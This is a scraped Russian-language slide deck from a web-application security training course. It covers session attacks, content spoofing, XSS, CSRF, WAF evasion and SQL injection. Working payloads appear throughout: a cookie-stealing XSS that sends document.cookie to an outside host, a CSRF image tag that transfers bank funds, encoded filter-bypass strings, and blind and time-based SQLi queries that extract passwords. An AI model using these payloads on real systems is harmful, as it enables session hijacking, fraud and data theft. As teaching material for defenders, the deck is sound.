SlideShare uma empresa Scribd logo
1 de 59
Атаки на web-приложения
         Основы

      Лепихин Владимир
Учебный центр «Информзащита»
Разминка
Атаки на механизмы
  аутентификации
      Часть 1
Классификация
Компоненты web-приложения
Клиент

                    Сервер
                                СУБД
                  Приложений




    Web-сервер
Статистика




IBM X-Force 2011 Trend and Risk Report
Подбор



         Подбор
Варианты подбора

•   Подбор учётных данных
•   Подбор идентификатора сессии
•   Подбор названий директорий и файлов
•   Подбор критичных данных в полях ввода
Credential/session prediction

                Предсказание
                идентификационных
                данных сессии
Credential/session prediction

• Предсказание или угадывание уникального
  идентификатора сессии пользователя с
  целью перехвата текущей сессии или
  последующей работы с web-сервером от
  имени скомпрометированного
  пользователя
Credential/session prediction

• HTTP – Stateless протокол
• Для каждого запрашиваемого объекта
  создается собственная сессия TCP
• Аутентифицирована только текущая сессия
• На практике многие приложения требуют
  аутентификации нескольких соединений
Credential/session prediction

Идентификатор сессии сохраняется в поле
cookie, скрытых полях форм или URL. Если атакующий
имеет возможность определить
алгоритм, используемый для генерации
идентификатора сессии, он может :
• подключиться к серверу, используя текущий
  идентификатор сессии;
• вычислить или подобрать следующий
  идентификатор сессии;
• присвоить полученное значение идентификатора
  cookie/скрытому полю формы/URL.
Фиксация сессии




         Фиксация сессии
Фиксация сессии

Присвоение идентификатору сессии
пользователя фиксированного
значения, известного
злоумышленнику, обычно выполняется в три
стадии:
• Установление сессии
• Фиксация сессии
• Подключение к сессии
Практическая работа 1

Атаки на механизмы аутентификации:
• Подбор
• Перехват текущей сессии
Самое слабое звено

      Часть 2
Клиент – наименее защищённый
              компонент
Клиент

                    Сервер
                               СУБД
                  Приложений




    Web-сервер
Подмена содержимого

           Подмена
           содержимого
Подмена содержимого

• Используя эту технику, злоумышленник
  заставляет пользователя поверить, что
  страницы сгенерированы Web-сервером, а
  не переданы из внешнего источника.
Подмена содержимого
• Некоторые Web-страницы создаются с использованием
  динамических источников HTML-кода.
• Например, расположение фрейма (<frame src="
  http://foo.example/file.html">) может передаваться в параметре
  URL(http://foo.example/page?frame_src=http://foo.example/file.ht
  ml ).
• Атакующий может заменить значение параметра "frame_src" на
  "frame_src= http://attacker.example/spoof.html". При
  отображении результирующей страницы в строке адреса
  браузера будет отображаться адрес сервера (foo.example), но
  так же на странице будет присутствовать внешнее
  содержимое, загруженное с сервера атакующего
  (attacker.example), замаскированное под легальный контент.
Подмена содержимого
• Если атакующий спровоцировал пользователя на
  переход по специально созданной ссылке, у
  пользователя может создаться впечатление, что он
  просматривает данные с сервера, в то время как
  часть их была сгенерирована злоумышленником.
• Таким образом, произойдет «дефейс» сайта
  http://foo.example на стороне
  пользователя, поскольку содержимое сервера будет
  загружено с сервера http://attacker.example. Эта
  атака так же может использоваться для создания
  ложных страниц, таких как формы ввода
  пароля, пресс-релизы и т.д.
Подмена содержимого

• Text only content spoofing
• Markup reflected content spoofing
Markup reflected content spoofing
              (пример)
• Web-сервер динамически формирует фреймы на
  странице с пресс-релизами компании.
• При переходе по ссылке
 http://foo.example/pr?pg=http://foo.example/pr/01012003.html
 загружается страница следующего содержания:
  <HTML>
  <FRAMESET COLS="100, *">
  <FRAME NAME="pr_menu" SRC="menu.html">
  <FRAME NAME="pr_content"
    SRC="http://foo.example/pr/01012003.html”>
  </FRAMESET>
  </HTML>
Markup reflected content spoofing
                 (пример)
• Фрейм "pr_content" отображает страницу, указанную в параметре "pg"
  HTTP-запроса. Но, поскольку атакующий изменил нормальный URL на
  значение
  http://foo.example/pr?pg=http://attacker.example/spoofed_press_release.ht
  ml и сервер не проводит проверки параметра "pg", результирующий
  HTML код будет иметь следующий вид:
        <HTML>
        <FRAMESET COLS="100, *">
        <FRAME NAME="pr_menu" SRC="menu.html">
        <FRAME NAME="pr_content" SRC="http://attacker.example/spoofed_press_release.html">
        </FRAMESET>
        </HTML>
• Для конечного пользователя содержимое, загруженное с сервера
  "attacker.example" будет выглядеть, как страница сервера "foo.example".
Межсайтовое выполнение сценариев
                  Межсайтовое
                  выполнение
                  сценариев
Межсайтовое выполнение сценариев

• Передача серверу HTML-кода, содержащего
  сценарии, которые впоследствии
  выполняются браузером клиента
• Переданный код исполняется в контексте
  безопасности (или зоне безопасности)
  уязвимого сервера
• Различают два варианта XSS:
  – Отражённый (non-persistent)
  – Сохранённый (persistent)
Отражённый вариант
                                                            Web-сервер
http://web/?search="><script>alert('XSS')</script>




                                           ...
                                           <tr>
                                            <td valign="center"><input class="inputtext" type="text"
                                           name="q“ value=""><script>alert('XSS')</script>"></td>
                                            <td valign="center"><input type="submit" class="inputbutton"
                                           value="Искать"></td>
                                           </tr>
                                           ...
Сохранённый вариант
         <script>
 alert(document.cookie)
         </script>




                                  <script>
                          alert(document.cookie)
                                 </script>
Использование

• Перехват сессии пользователя
• Доступ к данным в контексте браузера
• Перенаправление, подмена содержимого
Где встречается XSS?

• HTML-тэг
• Тело JavaScript/VBScript/etc (eq DOM-
  based)
• Код HTML
• Параметр тэга HTML
• Java/Flash приложения
• ActiveX
•…
Пример обнаружения и использования
 •   Возможный метод обнаружения уязвимости
     /?id="><script>alert(1)</script>

      – HTML-код возвращаемой страницы примет вид

      В параметре тега …<font size=""><script>alert(1)</script>"…

      В тексте …<p>"><script>alert(1)</script></p>…

      – В результате браузер выполнит JavaScript-код




 •   Пример практического использования:
     "><script src=http://host/script.js></script>
Пример обнаружения и использования
 •    Уязвимый HTML-код:
       …
       <IMG SRC="$filename">
       …
 • Эксплуатация:
       /?filename="onerror=alert('XSS');"
       /?filename="onerror=javascript:alert('XSS');"
       …
 • HTML-код возвращаемой страницы примет вид:
       …
       <IMG SRC=""onerror=alert('XSS');"">
       …
 • Пример практического использования:
 /?filename="onerror="xss=new/**/Image().src='http://host/sniff?c='%2Bescape(docu
      ment.cookie);"
Пример использования (DOM-based)
• Уязвимый код:
...
<select><script>
document.write("<OPTION value=1>"+document.location.href.substring
    (document.location.href.indexOf("default=")+8)+"</OPTION>");
document.write("<OPTION value=2>English</OPTION>");
</script></select>
...
• Штатная работа сценария:
     /?default=Russia
     /?default=French
     …

• Эксплуатация:
   /?default=<script>alert(document.cookie)</script>
Как это работает?
                                                   Web-сервер
        3. Переход по ссылке




                 6. Работа с Web-приложением от
                 имени атакованного пользователя
                                                      1. fuzzing, поиск
      4. Выполнение исполняемого                      уязвимости
           кода в браузере пользователя



                           5. Например, передача
                           Web-сессии (cookies)




2. Передача «заряженной» ссылки:
    http://web/?search="><script>...</script>
Подделка HTTP-запросов
• Уязвимость типа "Подделка HTTP-запросов" (Cross-Site Request
  Forgery, CSRF, XSRF)

   – сложности при автоматизированном обнаружении

   – Однако эта ошибка встречается в том или ином виде во многих
     веб-приложениях

   – Степень опасности уязвимости CSRF зависит от функций и
     задач, решаемых приложением
• Cross-Site Request Forgery – вид атаки, использующий функцию
  браузера по автоматической отправке идентификатора сессии с
  каждым GET/POST-запросом к веб-приложению
• Часто применяется связка XSS + CSRF
Как это работает?
                                                                                Интернет-форум
                                2. Пользователь посещает форум




                                 3. Браузер загружает картинку по адресу:
                                 http://ibanking/action?...

Интернет-банк
  (ibanking)




 4. Если сессия пользователя существует, то…
                                 1. Публикация сообщения:
                                 <img src=http://ibanking/action?account=12345&amount=500&for=54321>
Фильтры (WAF)
                                                        Нас атакуют!

http://server/?id=6329&print=Y                             Ахтунг!!!


                                 WAF           Webserver
http://server/?id=5351


http://server/?id=8234

                                                   Нормализация данных
                                                                Decode HTML entities (e.g. &#99;, &quot;, &#xAA;)
                                                                Escaped characters (e.g. t, 001, xAA, uAABB)
                                                                Null byte string termination
                                                                ...
                                                   Поиск сигнатуры
          http://server/?id=1+union+select...                    /(sel)(ect.+fr)(om)/is
          http://server/?id="><script>...                       /(uni)(on.+sel)(ect)/is
                                                                ...
          http://server/?id=/../../../etc/passwd
Методы обхода WAF
• Фундаментальные ограничения технологии

   – Неспособность полностью защитить Web-приложение от всех
     возможных уязвимостей
• Общие проблемы

   – балансировка между эффективностью фильтра и минимизацией
     ошибок блокировки легитимного трафика

   – Обработка возвращаемого клиенту трафика
• Уязвимости реализации

   – Технологии нормализации запроса

   – Использование новых техник эксплуатации уязвимостей в Web
     (HTTP Parameter Pollution, HTTP Parameter Fragmentation, замена
     null-byte и т.п.)
Методы обхода WAF
• Сохраненный вариант XSS
      В случае если удалось «протащить» XSS через фильтр, WAF не сможет
         воспрепятствовать реализации атаки

• Отраженный вариант XSS в JavaScript-коде (инъекция JavaScript)
      Пример: <script> ... setTimeout("writetitle()",$_GET[xss]) ... </script>
      Эксплуатация: /?xss=500); alert(document.cookie);//


• DOM-based XSS
      Пример: <script> ... eval($_GET[xss]); ... </script>
      Эксплуатация: /?xss=document.cookie


•      Аналогичные проблемы наблюдаются у фильтров
    защиты от XSS на стороне клиента client-side (например, IE8)
Возможные способы кодирования
          JavaScript
Пример: <script>alert(1)</script>
Hex-кодирование (URL-представление)

       %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%
         69%70%74%3E
HTML-кодирование

       &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74
          ;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

       &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#4
         9&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62
UTF7
    +ADw-SCRIPT+AD4-alert('1');+ADw-/SCRIPT+AD4-
… UTF8, base64, escape-encoding (style), etc
Практическая работа 2

• Подмена содержимого
• Межсайтовое выполнение сценариев
• Расщепление запроса
Главная цель

   Часть 3
Доступ к данным
Клиент

                       Сервер
                                  СУБД
                     Приложений




    Web-сервер
Внедрение SQL-кода




        Внедрение SQL-кода
Внедрение SQL-кода

• Метод обхода логики приложения и
  получения непосредственного доступа к
  данным путем внедрения во входную
  информацию, обрабатываемую
  приложением, операторов языка SQL
Внедрение SQL-кода
  http://Server/inject.asp?id=1      select * from test where id=1




               inject.asp




 id = Request.querystring("id")
 SQL_query = "SELECT * FROM test where id="+id
 Set RS = MyConn.Execute(SQL_query)
Внедрение SQL-кода
http://Server/inject.asp?id=1;delete from test            select * from test where id=1;
                                                          delete from test




                                          inject.asp




                          id = Request.querystring("id")
                          SQL_query = "SELECT * FROM test where id="+id
                          Set RS = MyConn.Execute(SQL_query)
Ещё пример
                                                  Web-сервер        СУБД
http://web/?id=6329&print=Y




                               ….
                               SELECT * from news where id = 6329
                               ….
Ещё пример
                                                                  Web-сервер              СУБД
http://web/?id=6329+union+select+id,pwd,0+from...




                         ….
                         SELECT * from news where id = 6329 union select id,pwd,0 from…
                         ….
Последствия внедрения SQL-кода
•   Обход ограничений пользовательского ввода
•   Получение доступа к данным
•   Модификация данных
•   Получение доступа к файловой системе
Разновидности внедрения SQL-кода

• Обычное
• Слепое
  – Blind
  – Double Blind
Обычное внедрение SQL-кода
•   Обнаружение уязвимости

    /?id=1+ORDER+BY+100

     –   SQL запрос примет вид

     SELECT id, name from table where id =1 ORDER BY 100

     –   В результате может быть получено следующее сообщение об ошибке

      ERROR 1054 (42S22): Unknown column '100' in 'order clause'
•   Получение имен таблиц/колонок (information_schema/перебор) и последующее получение данных
    из найденных таблиц
    /?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns

     –   SQL запрос примет вид

     SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from
         information_schema.columns

     –   В результате может быть получена требуемая информация в формате

     | 0 | table1:column1 |
     | 0 | table1:column2 |
SQL Injection – Различия СУБД
                                  MySQL           MSSQL       MS Access   Oracle         DB2          PostgreSQL

                                                                                      '' concat ''
                                  concat(,)
  Объединение строк           concat_ws(delim,)
                                                    ' '+' '    " "&" "     ' '||' '      " "+" "         ' '||' '
                                                                                           ' '||' '

     Комментарии                 -- и /**/ и #     -- и /*      Нет       -- и /*          --           -- и /*

     Объединение
                                    union         union и ;     union     union         union          union и ;
      запросов
      Подзапросы                   v.4.1 >=          Да         Нет         Да            Да              Да

Хранимые процедуры                   Нет             Да         Нет         Да           Нет              Да

          Наличие
 information_schema или его        v.5.0 >=          Да          Да         Да            Да              Да
           аналога


Особенности эксплуатации для разных СУБД
Пример (MySQL): SELECT * from table where id = 1 union select 1,2,3
Пример (PostgreSQL): SELECT * from table where id = 1; select 1,2,3
Пример (Oracle): SELECT * from table where id = 1 union select null,null,null from sys.dual
SQL Injection – Различия СУБД
•   MySQL 4.1>=
     – Первая запись
     /?id=1 union select name,123 from users limit 0,1
     – Вторая запись
     /?id=1 union select name,123 from users limit 1,1

•   MSSQL
     – Первая запись
     /?id=1 union select table_name,123 from (select row_number() over (order by name) as
         rownum, name from users) as t where t.rownum=1
     – Вторая запись
     /?id=1 union select table_name,123 from (select row_number() over (order by name) as
         rownum, name from users) as t where t.rownum=2

•   PostgreSQL
     – Первая запись
     /?id=1 union select name, null from users limit 1 offset 0
     – Вторая запись
     /?id=1 union select name, null from users limit 1 offset 1

     ИЛИ
     – Первая запись
     /?id=1; select name, 123 from users limit 1 offset 0
     – Вторая запись
     /?id=1; select name, 123 from users limit 1 offset 1
Blind SQL Injection
• Главная сложность: отсутствует сообщение
  об ошибке
• Эксплуатируя уязвимость SQL Injection
  «слепым» методом, атакующий
  манипулирует логикой работы приложения
  (true/false)
Способы обнаружения
             Blind SQL-инъекций
http://site/?param=-1 OR 1=1
http://site/?param=-1 OR 1=1--
...
http://site/?param=-1'
http://site/?param=-1' AND 1=2
...
http://site/?param=-1' OR '1'='1
...
http://site/?param=-1"/*
...
http://site/?param=2
http://site/?param=1
http://site/?param=2-1
...
http://site/?param=1' AND 1=1
http://site/?param=1' AND '1'='1
…
Способы использования
            Blind SQL-инъекций
• Подбор первого символа у первой записи в таблице
  /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0
  ,1),1,1))=97,555,777)

   – SQL запрос примет вид

   SELECT id, name from table where id =1 AND
     555=if(ord(mid((select pass from users limit
     0,1),1,1))=97,555,777)

   – В случае, если таблица «users» содержит колонку
     «pass» и первый символ первой записи этой колонки
     равен 97 (символ «a») то, СУБД вернет TRUE. В
     противном случае – FALSE.
Способы использования
            Blind SQL-инъекций
• Подбор второго символа у первой записи в таблице
  /?id=1+AND+555=if(ord(mid((select+pass+from+users+limit+0
  ,1),2,1))=97,555,777)

   – SQL запрос примет вид

   SELECT id, name from table where id =1 AND
     555=if(ord(mid((select pass from users limit
     0,1),2,1))=97,555,777)

   – В случае, если таблица «users» содержит колонку
     «pass» и первый символ первой записи этой колонки
     равен 97 (символ «a») то, СУБД вернет TRUE. В
     противном случае – FALSE.
Double Blind SQL Injection
• Эксплуатация уязвимости Double Blind SQL Injection
  основана на временных задержках

• Для повышения быстродействия можно ограничить набор
  подбираемых символов.
• Классическая реализация:
  /?id=1+AND+if((ascii(lower(substring((select password from user limit
  0,1),0,1))))=97,1,benchmark(2000000,md5(now())))

    – На основе временной задержки ответа от web-сервера можно
      сделать вывод, что подбираемый символ угадан

    – Манипулируя со значением 2000000, можно добиться
      приемлемой скорости под конкретное приложение

    – Аналог benchmark() - sleep(). Функция sleep() является более
      безопасной для подобных целей, т.к. не использует процессорные
      ресурсы сервера
Практическая работа 3

• Внедрение SQL-кода

Mais conteúdo relacionado

Mais procurados

Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестированийDmitry Evteev
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Dmitry Evteev
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Ontico
 
Application security? Firewall it!
Application security? Firewall it!Application security? Firewall it!
Application security? Firewall it!Positive Hack Days
 
А не поговорить ли нам о XSS!
А не поговорить ли нам о XSS!А не поговорить ли нам о XSS!
А не поговорить ли нам о XSS!SQALab
 
Услуги PT для банков
Услуги PT для банковУслуги PT для банков
Услуги PT для банковDmitry Evteev
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодняDmitry Evteev
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4rit2011
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложенийZestranec
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийSQALab
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future NowDmitry Evteev
 
Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Dmitry Evteev
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)c3retc3
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестированииISsoft
 
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021GoQA
 
Информационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиИнформационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиE-Journal ICT4D
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspayaevents
 
Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Dmitry Evteev
 

Mais procurados (20)

Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестирований
 
Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.Истории из жизни. Как взламывают сети крупных организаций.
Истории из жизни. Как взламывают сети крупных организаций.
 
Максим Кочкин (Wamba)
Максим Кочкин (Wamba)Максим Кочкин (Wamba)
Максим Кочкин (Wamba)
 
penetest VS. APT
penetest VS. APTpenetest VS. APT
penetest VS. APT
 
Application security? Firewall it!
Application security? Firewall it!Application security? Firewall it!
Application security? Firewall it!
 
А не поговорить ли нам о XSS!
А не поговорить ли нам о XSS!А не поговорить ли нам о XSS!
А не поговорить ли нам о XSS!
 
Услуги PT для банков
Услуги PT для банковУслуги PT для банков
Услуги PT для банков
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4безопасность веб приложений сегодня. дмитрий евтеев. зал 4
безопасность веб приложений сегодня. дмитрий евтеев. зал 4
 
тестирование защищенности веб приложений
тестирование защищенности веб приложенийтестирование защищенности веб приложений
тестирование защищенности веб приложений
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложений
 
PHDays 2012: Future Now
PHDays 2012: Future NowPHDays 2012: Future Now
PHDays 2012: Future Now
 
Реальные опасности виртуального мира.
Реальные опасности виртуального мира.Реальные опасности виртуального мира.
Реальные опасности виртуального мира.
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
Sql инъекции в тестировании
Sql инъекции в тестированииSql инъекции в тестировании
Sql инъекции в тестировании
 
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
СВЯТ ЛОГИН «OWASP TOP 10 2021» Online QADay 2021
 
Информационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработкиИнформационная безопасность в аспекте веб-разработки
Информационная безопасность в аспекте веб-разработки
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Pt devteev-risspa
Pt devteev-risspaPt devteev-risspa
Pt devteev-risspa
 
Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.Уязвимости систем ДБО в 2011-2012 гг.
Уязвимости систем ДБО в 2011-2012 гг.
 

Destaque

Сергей Полаженко - Security Testing: SQL Injection
Сергей Полаженко - Security Testing: SQL InjectionСергей Полаженко - Security Testing: SQL Injection
Сергей Полаженко - Security Testing: SQL InjectionSQALab
 
защита мобильных устройств
защита мобильных устройствзащита мобильных устройств
защита мобильных устройствВалерий Коржов
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacksRespa Peter
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injectionashish20012
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and preventionhelloanand
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationRapid Purple
 

Destaque (9)

Сергей Полаженко - Security Testing: SQL Injection
Сергей Полаженко - Security Testing: SQL InjectionСергей Полаженко - Security Testing: SQL Injection
Сергей Полаженко - Security Testing: SQL Injection
 
защита мобильных устройств
защита мобильных устройствзащита мобильных устройств
защита мобильных устройств
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
SQL Injection
SQL Injection SQL Injection
SQL Injection
 
Types of sql injection attacks
Types of sql injection attacksTypes of sql injection attacks
Types of sql injection attacks
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injection
 
Sql Injection attacks and prevention
Sql Injection attacks and preventionSql Injection attacks and prevention
Sql Injection attacks and prevention
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint PresentationSQL Injections - A Powerpoint Presentation
SQL Injections - A Powerpoint Presentation
 

Semelhante a Атаки на web-приложения. Основы

Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Ontico
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs wafd0znp
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionAndrew Petukhov
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюкkuchinskaya
 
Безопасность сессий в веб-приложениях
Безопасность сессий в веб-приложенияхБезопасность сессий в веб-приложениях
Безопасность сессий в веб-приложенияхKateryna Ovechenko
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2GoQA
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.Дмитрий Бумов
 
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...Badoo Development
 
Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Web application security (RIT 2014, rus)
Web application security (RIT 2014, rus)Maksim Kochkin
 
ONsec browsers security PHD2011
ONsec browsers security PHD2011ONsec browsers security PHD2011
ONsec browsers security PHD2011d0znp
 

Semelhante a Атаки на web-приложения. Основы (20)

PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
Positive Hack Days. Баранов. DNS Rebinding возвращается (0-day)
 
Безопасность веб-приложений: starter edition
Безопасность веб-приложений: starter editionБезопасность веб-приложений: starter edition
Безопасность веб-приложений: starter edition
 
ярослав рабоволюк
ярослав рабоволюкярослав рабоволюк
ярослав рабоволюк
 
Безопасность сессий в веб-приложениях
Безопасность сессий в веб-приложенияхБезопасность сессий в веб-приложениях
Безопасность сессий в веб-приложениях
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
СВЯТ ЛОГИН «Як провести пошук на xss атаку» Online QADay 2020 #2
 
XSS. Обходы фильтров и защит.
